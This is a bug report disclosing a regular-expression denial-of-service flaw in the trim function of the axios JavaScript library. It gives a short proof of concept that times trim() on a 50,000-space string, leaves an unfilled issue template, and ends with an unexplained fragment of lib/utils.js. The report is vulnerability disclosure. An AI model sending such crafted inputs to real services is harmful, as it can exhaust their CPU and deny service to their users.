#### Describe the bug
A ReDoS (regular expression denial of service) flaw was found in the axios package. An attacker that is able to provide crafted input to the trim function may cause an application to consume an excessive amount of CPU.

https://www.huntr.dev/bounties/1e8f07fc-c384-4ff9-8498-0690de2e8c31/

#### To Reproduce
Code snippet to reproduce, ideally, that will work by pasting into something like https://npm.runkit.com/axios

```js
var {trim} = require("axios/lib/utils");
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var time = Date.now();
trim(build_blank(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)
```

#### Expected behavior


#### Environment
 - Axios Version [e.g. 0.21.1]
 - Adapter [e.g. XHR/HTTP]
 - Browser [e.g. Chrome, Safari]
 - Browser Version [e.g. 22]
 - Node.js Version [e.g. 14.17.5]
 - OS: [e.g. iOS 12.1.0, OSX 10.13.4]
 - Additional Library Versions [e.g. React 16.7, React Native 0.58.0]

#### Additional context/Screenshots
Add any other context about the problem here. If applicable, add screenshots to help explain.

lib/utils.js
if (obj === null || typeof obj === 'undefined') {
    return;
  }
  
  if (typeof obj !== 'object') {
    
    obj = [obj];
  }
  if (isArray(obj)) {